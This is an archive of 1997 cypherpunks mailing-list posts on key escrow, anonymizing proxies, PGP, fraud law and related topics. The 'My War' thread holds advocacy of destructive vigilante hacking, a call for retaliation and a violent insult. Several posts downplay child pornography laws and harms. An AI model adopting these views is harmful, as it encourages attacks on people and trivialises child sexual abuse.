crypto? Schneier wrote a book, but, charges for his services. I don't
think they have been "bought" or are working for the other side, I just
think we should be realistic about who the "experts" are really
working for - their own pockets and their big employers.

KEY ESCROW IS UNACCEPTABLE, PERIOD.  No matter what the cost.  No
matter how safe.  No matter what.

I think we should respectfully ask them to clarify where they
stand.  Mr experts,













Do you stand for the criminalization of crypto? Is there anything
wrong with key escrow other than the cost? Why is your report so weak?






From spectre at nac.net  Mon Jun  9 12:49:08 1997
From: spectre at nac.net (The Spectre)
Date: Tue, 10 Jun 1997 03:49:08 +0800
Subject: [ADMINISTRATIVIUM] Quadratic residues
Message-ID: <19370327300899@nac.net>



-----BEGIN PGP SIGNED MESSAGE-----

Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

To: cypherpunks at toad.com
Date: Mon Jun 09 15:38:35 1997

> On Mon, 9 Jun 1997, Anonymous wrote:
> 
> I think Vulis needs each of us to send ten copies of this back to him.
> 
[...]
I think I'm sending *you* ten copies of this.


                   -=Start Signature=-
Goth.Code 3.1 GoCS5$ TAnFe P! B7/17Bk#1 cBk(Lb)-s6 V6s M3p1wgD
ZGoPuoMehFon!! C9oc A20+(24) n5 b54 H185 g6!??94A m at Z4? w6T v1h
r7EISP p1Z565Hm D26 h5(R) sM10M SsYw k6B N1286JONEH RzM LusNY3
          -=http://www.nac.net/~users/spectre=-
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBM5xbwqAC4xvMjGa1AQGGrwf/RFxPyCB1MGB+QLUi2cRxZW52X9MBcVr2
dlZd6BZxvbDy5uo8FCbQly4vLG35N/P08SeeCrtnuXjPc9rb/RF38O/rtwSRqFDy
sbgtrrFaTwOyOruOAGbuXllHCStYYC0GHYESAoJOXi8vxdMHk0kxZXuWgnAO2uwh
c2ON2Jv1f9YmybGrClZ0CaFybWKOG6r3m31QLOJUZqOWZbErRTYOlDM7//09x/ZZ
ZA6XCUgLDPPNfm6PSaJmqBeEkgqQC3I0q6uslYi+43u14mXTCa/ddxUG0crMAUb2
F6MyRlD2FjaalVcH69me9VIfJPybbW/o3MbJ7RkNDVAvCNfCg0wenw==
=M57W
-----END PGP SIGNATURE-----






From laffra at watson.ibm.com  Mon Jun  9 12:52:23 1997
From: laffra at watson.ibm.com (C.Laffra)
Date: Tue, 10 Jun 1997 03:52:23 +0800
Subject: No Subject
Message-ID: <9706091939.AA17006@gumby.watson.ibm.com>



Hi,

My records indicate that we exchanged email in the last three years.
I sincerely apologize if this email is mis-directed.

This is to inform you of my new address:

	Chris Laffra, Ph.D.
	Research Staff Member
	Java Tools Group
	Computer Science Department
	Research Division

	IBM T.J. Watson Research Center
	P.O. Box 704
	Yorktown Heights, NY 10598
	Tel: (914) 784 7525
	Fax: (914) 784 6576
	email: laffra at watson.ibm.com
	web: www.research.ibm.com/people/l/laffra (soon to be actived)

	email: laffra at aol.com
	web: members.aol.com/laffra

Chris.






From markm at voicenet.com  Mon Jun  9 12:54:01 1997
From: markm at voicenet.com (Mark M.)
Date: Tue, 10 Jun 1997 03:54:01 +0800
Subject: Question about anonymizing proxies
In-Reply-To: <199706091758.KAA31403@fat.doobie.com>
Message-ID: 



-----BEGIN PGP SIGNED MESSAGE-----

On Mon, 9 Jun 1997, Huge Cajones Remailer wrote:

> Sorry if this has been beaten to death before (if it has, a pointer to
> where it is in the archives would be appreciated), but is it possible to
> chain anonymizing proxy servers in a way similar to remailers?

It is possible, but more difficult.  A system that just chains and encrypts
through several different proxies keeps the traffic secret, but reveals
the source and destination of every connection using traffic analysis.  The
NRL Onion Router scheme had this problem, I think.  The way to avoid this
is to maintain constant connections between proxies and endpoints.




Mark
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv

iQEVAwUBM5xRdyzIPc7jvyFpAQERDQf/RLDiYPeQ+P/x0CKcRUvuQUxOO87nx8VL
+2YVOcgoF9uQ/UCL01NmrIAwnplW083HJN1s0TtlNxuKBx+I65Sk5dkoiBUyJDex
D+RsiqYIY3YiNa6zFs03oE9aAmv2lPXPW/zrLgX+CYZOei9XPB9LgBUm4ryzEbdF
H6ZtUSBtBvT8ZCTV25JUFy1mM8sfblqpvg7T9rYkC3OMdpelziqSwcGC86WOTyQ7
PujA4C36B1RuQ1Jd8FH2cfIStLHzyvN81MY12P+8oF1YsEpow6R286S6haGiT8z+
gZFC1tgykYn9D6Xr0BKzp5uHA+IVpvjv3ZxN8gJxDeUyYf2555KpCw==
=Jfpo
-----END PGP SIGNATURE-----






From bennett_t1 at popmail.firn.edu  Mon Jun  9 13:37:46 1997
From: bennett_t1 at popmail.firn.edu (bennett_t1 at popmail.firn.edu)
Date: Tue, 10 Jun 1997 04:37:46 +0800
Subject: My War
In-Reply-To: 
Message-ID: <339C4E1F.11DF@popmail.firn.edu>



Paul Bradley wrote:
> 
> > I started logging the channels. I wanted to silently gather IP addresses
> > and email addresses. These people needed some genuine hacker terror.
> > Among some of the more active and persistent traders were:
> 
> se7en believes in attacking other peoples equipment and censoring those
> who say things he does not like. Foo.
> 
> > Well, this whole situation is unacceptable.
> 
> In what sense?
> 
> > First, I would like to apologize to all those who have hired me in
> > the past, and were subject to my emotional rants about how the
> > whole subject was bullshit and not real.
> 
> Is this really relevant?
> 
> > It is very real. It is disgustingly real. It is so real it will make you
> > want to throw up, and I actually, physically did throw up last night.
> 
> Good, I hope your censorous ass chokes next time.
> 
> > Second, in reference to previous conversation over the years on this list,
> > and in the hacking community in general, I know this type of activity is
> > not tolerated by us.
> 
> Do not include me in either the falsely moral "hacker community", which
> does not even exist anymore in the same way it did years ago, or make
> assumptions that I believe certain forms of speech are more valuable than
> others.
> 
> > Yes, I am advocating malicious, destructive hacking activity against
> > these people. Who are they going to run to? The police? "They hacked my
> > kiddie porn server and rm -rf'd my computer!" Right...the police will be
> > so anxious to lock us up left and right.
> 
> Anyone who attacks others peoples computer equipment in this manner
> commits a crime, whether they can respond or not is immaterial, it is a
> matter of morality and respecting other peoples right to free spech and
> their property rights.
> 
> > These people need to be eradicated from the Internet. While that may
> > never happen completely, enough harrassment will send a message that
> > engaging in this type of activity in very dangerous, and can result in
> > serious harrassment, public embarrassment and computer destruction.
> 
> An aspiring member of the cabal crawls out of the woodwork ...
> 
> > This is my war. It will be a public war. I don't care what happens to me
> > by their community or by law enforcement. I feel secure enough that no
> > jury in the world will convict me for taking these people out.
> 
> "Members of the jury, we only killed him because he was black, surely you
> realise all blacks are scum, don`t you?"
> 
> > I don't expect people to join me here on this. If you do, you have enough
> > information to start. I caution you to log what is going on, and to make
> > sure you are hitting the guilty, so no innocent people get annihilated in
> > the process. Make damn sure you know who you are hitting and why, and be
> > able to back it up with the idea of having to justify your actions in
> > front of a jury.
> 
> I would encourage anyone who wants to to take retaliatory action against
> se7en or any of his supporters to do so, attacks on freedom of speech and
> attempts at censorship like this cannot be allowed to go unchallenged.
> 
>         Datacomms Technologies data security
>        Paul Bradley, Paul at fatmans.demon.co.uk
>   Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org
>        Http://www.cryptography.home.ml.org/
>       Email for PGP public key, ID: FC76DA85
>      "Don`t forget to mount a scratch monkey"

Sounds like someone's afraid that se7en might trash his kiddie porn
stock.  How on the HELL do you categorize child pornography as "Freedom
of speech"?  How???  It is disgusting and only extremely sick
individuals take a part in it.  If you're defending it, then excuse me
for rushing to judge, but you are a sick, disgusting ass-fuck that needs
a good shot in the head.






From alano at teleport.com  Mon Jun  9 13:49:53 1997
From: alano at teleport.com (Alan)
Date: Tue, 10 Jun 1997 04:49:53 +0800
Subject: WSJ on Money Laundering
Message-ID: 



Check out the latest (June 9th, 1997) Wall Street Journal.  On page B1
there is an article on the wave of money laundering convictions for
non-drug related crimes.  In fact, the article points out that just about
any monetary transaction can be declared money laundering.  (And get
upheld in court!)

And the reasons behind this?  Long terms and lots of ready cash for the
feds.

"Property Seizure: It's not just for drug crimes anymore!"

alano at teleport.com | "Those who are without history are doomed to retype it."






From tzeruch at ceddec.com  Mon Jun  9 14:24:01 1997
From: tzeruch at ceddec.com (tzeruch at ceddec.com)
Date: Tue, 10 Jun 1997 05:24:01 +0800
Subject: Access to Storage and Communication Keys
In-Reply-To: <3.0.1.32.19970609000938.00756910@popd.ix.netcom.com>
Message-ID: <97Jun9.171030edt.32257-1@brickwall.ceddec.com>



On Mon, 9 Jun 1997, Bill Stewart wrote:

> Having argued that point vociferously in the past, I'm now going to
> waffle on the issue - while the business need is for access to
> stored data, this may often include stored messages received from
> a communication system in encrypted form.  Either the User Interface
> needs to make it convenient to store the decrypted message,
> or else the user will store the message in encrypted form -
> which means there may be a business need for Proper Authority Access later.

Move all accounts that use corporate secured email to a secure local
server (e.g. per office), and do something like a procmail recipe that
will decrypt automatically and forward the plaintext to the recipient
(archiving as per policy).  If the messages need security, then they don't
leave the secured server and the accounts are such that I can't read other
people's mail directory and others can read mine.  All the keys are
generated and maintained on this server so passwords are controlled by
the administrator.

Or just have them use the encryption within the corporate standard word
processor, and spend the $100 or so for the 5-second cracking program.

You can automate security to prevent user's not following procedure
(saving encrypted files).  You can't do much about malice or creativity
(e.g. my PGP on my laptop). 







From mpd at netcom.com  Mon Jun  9 14:25:14 1997
From: mpd at netcom.com (Mike Duvos)
Date: Tue, 10 Jun 1997 05:25:14 +0800
Subject: My War
In-Reply-To: <339C4E1F.11DF@popmail.firn.edu>
Message-ID: <199706092117.OAA29644@netcom17.netcom.com>



A Hysterical Person writes:

> Sounds like someone's afraid that se7en might trash his kiddie porn
> stock.

As with all hysterical people, the first words out of his mouth are a
pathetic attempt to suggest that anyone who doesn't agree with his
position is a consumer of whatever it is he disapproves of. 

> How on the HELL do you categorize child pornography as "Freedom
> of speech"?  How??? 

While I certainly think that society has every right to enforce reasonable
workplace health and safety standards within the commercial porn industry,
including setting reasonable age limits for employment therein, the
current ban on any and all depictions of the sexuality of minors, even
synthetic ones, is clearly an ideological purge of speech certain people
are uncomfortable with, and not some glowing crusade to protect children
from harm. 

> It is disgusting and only extremely sick individuals take a part in 
> it.

You're right.  Arrest Janet Reno immediately, and confiscate all motion
picture footage of the Waco child torchings. 

> If you're defending it, then excuse me for rushing to judge, but you are a
> sick, disgusting ass-fuck that needs a good shot in the head. 

Sounds like someones socioerotic rehearsal play was severely limited
during their formative years.  Guaranteed every time to produce a cranky
neurotic who displaces sexual arousal into anger when confronted with
erotic imagery involving the young and emotionally healthy. 

Please post again when you have something to say about cryptography, and
try to stay away from the kiddie pool.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd at netcom.com     $    via Finger.                      $






From ericm at lne.com  Mon Jun  9 14:27:28 1997
From: ericm at lne.com (Eric Murray)
Date: Tue, 10 Jun 1997 05:27:28 +0800
Subject: With friends like these...
In-Reply-To: <199706091928.MAA01854@fat.doobie.com>
Message-ID: <199706092106.OAA18846@slack.lne.com>



Huge Cajones Remailer writes:
> 
> 
> I just read www.crypto.com/key_study.  I was not impressed.  In fact,
> one thing worries me a lot.  I think the report basicly sells us out.

[shitload of FUD deleted]

Is there something important coming up that we should know about?
Something big enough to make the FUD-mongers want to distract us?


The main lie in this message was that the report endorses safe/pro-code.
It does not.  It doesn't even mention them.


-- 
   Eric Murray  ericm at lne.com         Privacy through technology!
  Network security and encryption consulting.    PGP keyid:E03F65E5 






From declan at well.com  Mon Jun  9 14:41:10 1997
From: declan at well.com (Declan McCullagh)
Date: Tue, 10 Jun 1997 05:41:10 +0800
Subject: Assassination Politics as revenge fantasy (Re: FCPUNX:McVeigh)
In-Reply-To: 
Message-ID: 



At 09:36 -0700 6/9/97, Alan wrote:
>On Mon, 9 Jun 1997, Declan McCullagh wrote:
>
>>
>> Actually, Bell's plan was simply the ultimate adolescent revenge fantasy.
>> Government thugs got your goat (or your computers, your car, your guns?)
>> Wipe them out. Supermarket clerk taking too long? Rub her out. Minivan cut
>> you off on the way to work? Kill them off.
>
>This is the best description of AP so far.  Jim had about as much chance
>of implementing it as most adolescent fantasies.  (At least he was not
>posting about porn fantasies involving the Brady Bunch meets Gilligan's
>Island or somesuch...)

This is a draft of what I wrote in my Internet Underground article:

	If nothing else, Bell's plan was inventive: few
	people like the IRS, but even fewer have ever
	concocted a way to eliminate it. In fact, Bell
	had devised the ultimate revenge fantasy. Upset
	at demanding creditors, former lovers, or
	jackbooted thugs? The 38-year old computer
	engineer described how you could find someone
	willing to kill them -- for the right price.
	It was sexy, too. Bell's plan relied on the
	Internet, anonymous remailers, untraceable
	digital cash, and unbreakable public-key
	encryption. He even gave it a catchy name:
	Assassination Politics.

[...]

	Bell was most interested in talking up
	Assassination Politics and predicting how it
	would eventually blossom. He had just published
	an op-ed in a local newspaper saying "the whole
	corrupt system" could be stopped. "Whatever
	my idea is, it's not silly. There are a lot
	of adjectives you can use, but not silly," he
	told me. "I feel that the mere fact of having
	such a debate will cause people to realize that
	they no longer have to tolerate the governments
	they previously had to tolerate. At that point
	I think politicians will slink away like they
	did in eastern Europe in 1989. They'll have
	lost the war."

	He told me why he became convinced that the
	government needed to be lopped off at the
	knees. Bell's epiphany came after he ordered
	a chemical from a supply firm and was arrested
	when he failed to follow EPA regulations. "That
	radicalized me," he said. "That pissed me off.
	I figured I'd get back at them by taking down
	their entire system. That's how I'd do it."'

	Moral issues aside, one of the problems plaguing
	Bell's scheme is that it's not limited to
	eliminating "government thugs who violate your
	rights," as he likes to describe it. If it
	existed, anyone with some spare change could
	wipe out a nosy neighbor or even an irritating
	grocery store clerk. After I pointed this out
	to Bell on the phone, he fired email back a few
	days later saying, "Assuming a functioning
	Assassination Politics system, nothing stops
	you from contributing to my death." He
	suggested that maybe assassins would develop
	scruples: "You'd be able to purchase deaths
	of unworthy people, but it might be only at a
	dramatically higher price. Doable but not
	particularly economical."

-Declan


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/







From tcmay at got.net  Mon Jun  9 15:09:21 1997
From: tcmay at got.net (Tim May)
Date: Tue, 10 Jun 1997 06:09:21 +0800
Subject: Thoughtcrime   (Re: My War)
In-Reply-To: <339C4E1F.11DF@popmail.firn.edu>
Message-ID: 



At 2:17 PM -0700 6/9/97, Mike Duvos wrote:

>While I certainly think that society has every right to enforce reasonable
>workplace health and safety standards within the commercial porn industry,
>including setting reasonable age limits for employment therein, the
>current ban on any and all depictions of the sexuality of minors, even
>synthetic ones, is clearly an ideological purge of speech certain people
>are uncomfortable with, and not some glowing crusade to protect children
>from harm.

Precisely. The laws are designed to go after the thoughts. Synthetic
images, images of little girls in leotards. images of teenagers of legal
age *in the countries of origin*...none of these involve acts of sexual
congress with a child in violation of the laws of the U.S. The only crime
is thoughtcrime.

Thoughtcrime.

As for whether it is "sick" to be sexually attracted to an "underage"
person, I sure do recall being attracted to a lot of the girls in high
school, and they were certainly nearly all "underaged."

(I won't delve into this further, and won't get into issues of what the
ages should be. In earlier cultures, girls were married off by the age of
12-14, and boys by the age of 14-16, for various good reasons.)

This "se7en" person should understand that a strong crypto list is probably
the wrong place to find converts for a crusade against thoughtcrimes. For
one thing, what does he think remailers are useful for? Or anonymity? Or
digital cash? Or that evil technology, "morphing."

(A popular project is to use Photoshop and similar tools to juxtapose the
faces and bodies of various celebrities and nude bodies. "Sabrina the
Teenage Witch Meets Tiffany Towers." This act is apparently now a Class A
Thoughtcrime in several U.S. jurisdictions. Amazing.)

Oh, and "se7en" should go back with his newly discovered religious fervor
and watch the movie "Se7en," from whence he got his handle. It has been
declared "violence porn" by some of his ideological fellow-travellers.

Ironic indeed.

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From paul at fatmans.demon.co.uk  Mon Jun  9 15:37:44 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Tue, 10 Jun 1997 06:37:44 +0800
Subject: Question about anonymizing proxies
In-Reply-To: <199706091758.KAA31403@fat.doobie.com>
Message-ID: 





> Sorry if this has been beaten to death before (if it has, a pointer to
> where it is in the archives would be appreciated), but is it possible to
> chain anonymizing proxy servers in a way similar to remailers?


Yes, just concatenate the URLs for most purposes, or were you thinking of 
something more specific?

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From jya at pipeline.com  Mon Jun  9 15:38:39 1997
From: jya at pipeline.com (John Young)
Date: Tue, 10 Jun 1997 06:38:39 +0800
Subject: Doc Offerings
Message-ID: <1.5.4.32.19970609222325.0090c7c4@pop.pipeline.com>



We offer:

A Federal Register notice today of an upcoming
Technology Administration "Public Forum on Certificate 
Authorities and Digital Signatures":

   http://jya.com/ta060997.txt

The recent Denver ruling of $350K damages against the IRS
for disclosing confidential tax payer information:

   http://jya.com/wardvusa.htm  (48K)

NIST's latest package on the Key Recovery Demonstration
Plan of a test run among 10 federal agencies, including a 
May 29 solicitation:

   http://jya.com/krdp.htm  (37K)

And, the quite instructive 1994 Department of Justice 
"Federal Guidelines for Searching and Seizing Computers":

   http://jya.com/doj-search.htm  (376K)







From adam at homeport.org  Mon Jun  9 15:46:18 1997
From: adam at homeport.org (Adam Shostack)
Date: Tue, 10 Jun 1997 06:46:18 +0800
Subject: With friends like these...
In-Reply-To: <199706091928.MAA01854@fat.doobie.com>
Message-ID: <199706092231.SAA29002@homeport.org>



Yes, these are our freinds.  They are attacking key recovery where its
being sold; namely to companies.  And the report is damned effective
at selling companies that 'the best cryptographers in the world'
oppose this.

Its been very useful to me for that already.

Adam

| just a bad idea, not nearly as strong as it could be).  The reason they give
| is that they think it may be too expensive for corporate America.
| What they don't say is Far more interesting:
| 
| They don't say that key escrow is unacceptable, period.
| 
| They don't mention the big brother problem.
| 
| They don't talk about the long history of
| government abuse (FBI, CIA, NSA, etc).
| 
| The conveniently leave out ALL the libertarian issues about how key escrow making the government bigger and more powerful.
| 
| They just seem to care about what it costs.  And
| these are our friends?


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume







From ichudov at Algebra.COM  Mon Jun  9 16:50:27 1997
From: ichudov at Algebra.COM (Igor Chudov @ home)
Date: Tue, 10 Jun 1997 07:50:27 +0800
Subject: MS Access 97 deprotection? (fwd)
Message-ID: <199706092343.SAA01302@manifold.algebra.com>



----- Forwarded message from Peter Trei -----

>From owner-cypherpunks at Algebra.COM  Mon Jun  9 18:22:12 1997
Message-Id: <199706091524.LAA01532 at www.video-collage.com>
Comments: Authenticated sender is 
From: "Peter Trei" 
Organization: Process Software
To: cypherpunks at Algebra.COM
Date: Mon, 9 Jun 1997 11:36:50 -6
MIME-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
Subject: MS Access 97 deprotection?
Reply-to: trei at process.com
CC: trei at process.com
X-mailer: Pegasus Mail for Win32 (v2.42)
Sender: owner-cypherpunks at algebra.com
Precedence: bulk
X-Mailing-List: cypherpunks at algebra.com
X-List-Admin: ichudov at algebra.com
X-Loop: cypherpunks at algebra.com


     An acquaintence of mine who runs a small consulting 
business here in Massachusetts called last night.

     He seems to be suffering from one of the classic 
aftereffects of a having 'disgruntled, 
about-to-be-ex-employee'; one of the database files on 
which his business relies has been encrypted within 
Microsoft Access 97, and he needs to recover the data.

A quick look around at the obvious sites shows no generic
de-protector, as there are for MS Word and many other systems.
Anyone have any clue how he might get his data back? (I've
already told him to consider the lawyer-based route).

Send me mail - I'll pass it on to him.

thanks,

Peter Trei
trei at process.com

----- End of forwarded message from Peter Trei -----






From ichudov at Algebra.COM  Mon Jun  9 16:51:38 1997
From: ichudov at Algebra.COM (Igor Chudov @ home)
Date: Tue, 10 Jun 1997 07:51:38 +0800
Subject: Steak Knife Decryption (fwd)
Message-ID: <199706092344.SAA01316@manifold.algebra.com>



----- Forwarded message from Peter Trei -----

>From trei at process.com  Mon Jun  9 18:21:21 1997
Message-Id: <199706091411.KAA26392 at www.video-collage.com>
Comments: Authenticated sender is 
From: "Peter Trei" 
Organization: Process Software
To: ichudov at algebra.com (Igor Chudov @ home), cypherpunks at cyberpass.net,
        mpd at netcom.com
Date: Mon, 9 Jun 1997 10:20:41 -6
MIME-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
Subject: Re: Steak Knife Decryption
Reply-to: trei at process.com
Priority: normal
X-mailer: Pegasus Mail for Win32 (v2.42)

> Subject:       Re: Steak Knife Decryption
> To:            mpd at netcom.com (Mike Duvos)
> Date:          Sat, 7 Jun 1997 00:44:15 -0500 (CDT)
> Cc:            cypherpunks at cyberpass.net
> From:          ichudov at algebra.com (Igor Chudov @ home)
> Organization:  Bool Sheet Software
> Reply-to:      ichudov at algebra.com (Igor Chudov @ home)

> Mike Duvos wrote:
> > 

> I am not quite clear if rational people can get something out of
> torturing other rational people. Maybe, I am confused and wrong
> somewhere.
> 	- Igor.

Torture is a means of producing an irrational state in people's
minds (at least temporarily), thus causing them to do things they
would not rationally do (sign a prepared confession, reveal a secret, 
etc) If torture could not do this, it would not be used; verbal
persuasion over tea and crumpets is *so* much more pleasant.

Even people who might be able to face a more or less painless 
death with equanimity (in the pursuit of some greater cause) 
may break down as the bamboo splints are pushed under their 
fingernails.

'Rational torture victim' is an oxymoron.

Peter Trei
trei at process.com

----- End of forwarded message from Peter Trei -----






From declan at well.com  Mon Jun  9 17:04:13 1997
From: declan at well.com (Declan McCullagh)
Date: Tue, 10 Jun 1997 08:04:13 +0800
Subject: Thoughtcrime (Re: My War)
Message-ID: 



Here are some of my responses on another list... --Declan

**********

Date: Mon, 9 Jun 1997 17:46:47 -0400
To: "Vangelis" 
From: Declan McCullagh 
Subject: How "child porn" laws ban pix of girls in leotards

At 11:54 -0700 6/9/97, Vangelis wrote:
>None of this out-of-control angry mob shit, alright?  THINK.  If it's too
>hard a task to go after ONLY those genuinely responsible and you'd rather
>go after their friends, family, co-workers, customers, or anyone else
>you've rationalized as somehow indirectly encouraging the activity w/o
>actually participating, then you've got no business playing vigilante -
>you've become just another wreckless crusader *blinded* by his own
>self-righteous outrage.  Christianity, the Nazi Party, and Prohibition, and
>McCarthyism (just to name a few) have already given us enough of those.

This is well said. Read that paragraph again.

The true enemy here is *NOT* the pervs trading child porn. It's the
censorhappy wackos who want to censor others.

The main reason folks seem to be in a lather about the "threat" of child
porn is that it might ruin the Net for everyone. That is, it gives Congress
an excuse to censor it and bring it under ever-tightening controls.

But isn't it clear that the true enemy is the censor? Stamp out child porn
and then Congress will use Nazi sites, or regular porn sites, or sites that
collect personal information as an excuse and justification for censorship.
That's why you should attack the censors (and the real child molestors),
not those trading dirty JPEGs.

Also, I see a lot of uninformed rants on this list about "we must uphold
child porn laws." Few people seem to realize that the long-standing Federal
child porn law outlawed *pictures of dancing girls wearing leotards*. I'm
not making this up. No nudity. No breasts. Certainly no genitals. But the
Supreme Court upheld the conviction in the Knox case. Now the law is even
worse, since it criminalizes morphed images that *look* like kids in
leotards, even if the models were 25-year old adults.

Be cautious when praising such laws.

-Declan

**********

Date: Mon, 9 Jun 1997 17:10:42 -0400
To: Tepes 
From: Declan McCullagh 
Subject: Re: My War

At 06:59 -0400 6/9/97, Tepes wrote:

>Yeah, a friend of mine accidentally came across kiddie-porn a few months
>ago.  She e-mailed all the headers, etc. to Customs' Child Porn dept. and
>they e-mailed her back saying that they really can't do anything about it.
>What the hell do they have a Child Porn task force if they can't do
>anything about it!

Perhaps because Customs has nothing to do with enforcement of domestic
laws? I hope you're not proposing expanding the police powers of the Feds.
I mean, your friend is doing the equivalent of asking the National Park
Service why she isn't getting her welfare checks on time.

>What is also equally sick is rape porn.

Excuse me, but what is "rape porn?" What, a picture of two people having
sex that's titled "rape?"

Not quite. Just like those pictures of a 40 year old guy and a 20 year old
girl having "incest sex," it's a fantasy. Free speech. Don't sweat it. Let
others enjoy their fantasies.

-Declan







From paul at fatmans.demon.co.uk  Mon Jun  9 17:09:40 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Tue, 10 Jun 1997 08:09:40 +0800
Subject: PGP Key generation
In-Reply-To: 
Message-ID: 




> There are a few shortcuts you could take.  For instance, instead of finding
> two random, prime numbers for every key, just keep one prime constant and
> generate another random prime for each key.  This has the disadvantage
> that any one key factored would allow the other keys to be factored
> trivially.  I know there are other ways, but I'm not very good with number
> theory.

This would actually not save as much time as it trivially appears to, the 
main time eater in pgp key generation is a. getting random seeds and 
mixing to distill randomness, and b. executing the extended euclidean 
algorithm to find modular inverses. 

Does anyone know any other speedups? - I`m sure I could think of a few 
but I`m really not in the mood ;-)...

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From dlv at bwalk.dm.com  Mon Jun  9 18:24:12 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 10 Jun 1997 09:24:12 +0800
Subject: Fraud and free speech
In-Reply-To: <199706090408.XAA13740@mailhub.amaranth.com>
Message-ID: 



"William H. Geiger III"  writes:
> So what you are saying that if I call up Widgits, Inc. and order product
> "X" that they advertizes does "Y". They instead send me product "X" that
> does "Z" not "Y" then I should have no recource? I should atleast be able
> to get my money back as they have not sold me the product that they
> claimed to be selling (clear violation of the "contract" between buyer and
> seller).

Romans firmly believed in "caveat emptor" and had no implied warranty
of merchantability.

> I have no problem with them saying their product does "Y" but if I spend
> my hard earned money on it then it best do what they say it does.

The cypherpunk solution is to make sure they can't use your money until
you've assertained that the product does what you want it to - and I
don't necessarily mean e-cash.

I occasionally buy shit by mail order on a credit card.  A few times I
was not happy with the purchase, and had to appeal to the card issuer
as an arbiter.  I was happy with the results.

Here both I and the merchant explicitly agree that the card issuer will
be the first arbiter in the dispute - the buyer offers the card, the
seller accepts it.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Mon Jun  9 18:25:31 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 10 Jun 1997 09:25:31 +0800
Subject: Fraud and free speech
In-Reply-To: <339c0f30.65344598@mail.eskimo.com>
Message-ID: 



nexus at eskimo.com (Brian Lane) writes:
> >The mistake has been to extend "fraud" laws to non-contract situations,
> >e.g., ordinary speech (as distinguished from contracts).
>
>   This is very true. We now live in a society that expects to be
> 'protected' from everything, including their own ignorance, by Big
> Brother. Free Speech is just that -- free -- and should be accepted as
> such. We have various private organizations that have made it their
> business to oversee the truthfulness of product advertising and
> quality and this is how it should be.

Cool - can I sue George "no new taxes" Bish for breach of contract?

>   I believe that we have actually given up some of our free speech
> rights in order to be protected against the 'big bad companies looking
> to rip you off'. This has resulted in the government making a grab for
> more and more of our rights, the building of a buearucratic
> infrastructure to support this grab, and a seperate society back there
> in Wasington DC.

Very good point. Again, in various traditional Europan and various Asian
legal systems, lying per se is never a crime.  Lying while swearing by a
deity or a king is a crime.  Lying in court while under oath to various
local deities may be perjury.  Lying in a written document endorsed by the
king may be fraud.  Claiming that the borshch (borscht) one is selling is
the miracle cure for all diseases and the secret of eternal youth on the
basis of one's own reputation is OK.  Claiming that and also claiming FDA
endorsement is fraud if the borshch is not really endorsed by the FDA.
If a patient wants to buy non-FDA-endorsed medicine, it's between the
buyer and the seller.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Mon Jun  9 18:26:29 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 10 Jun 1997 09:26:29 +0800
Subject: [ADMINISTRATIVIUM] Quadratic residues
In-Reply-To: <19370327300899@nac.net>
Message-ID: 



The Spectre  writes:
>
> > On Mon, 9 Jun 1997, Anonymous wrote:
> >
> > I think Vulis needs each of us to send ten copies of this back to him.
> >
> [...]
> I think I'm sending *you* ten copies of this.

Folks, when replying to the ASCII art, please try to quote enough of the
body so it'll be picked up by the filters :-)

[Or should I be filtering on the Subject line?]

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From whgiii at amaranth.com  Mon Jun  9 18:34:19 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Tue, 10 Jun 1997 09:34:19 +0800
Subject: WSJ on Money Laundering
In-Reply-To: 
Message-ID: <199706100128.UAA28257@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

In , on
06/09/97 
   at 01:42 PM, Alan  said:

>Check out the latest (June 9th, 1997) Wall Street Journal.  On page B1
>there is an article on the wave of money laundering convictions for
>non-drug related crimes.  In fact, the article points out that just about
>any monetary transaction can be declared money laundering.  (And get
>upheld in court!)

>And the reasons behind this?  Long terms and lots of ready cash for the
>feds.

>"Property Seizure: It's not just for drug crimes anymore!"

This has been going on since the seizure laws were passed. The acusation
of any feloney gives the Gestapo (Federal, State, & Local) the power of
confescation (conviction is optional).

Not much different than the RICO laws. I would be suprised if 1 out of 10
RICO cases were actually against "orginized crime".

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
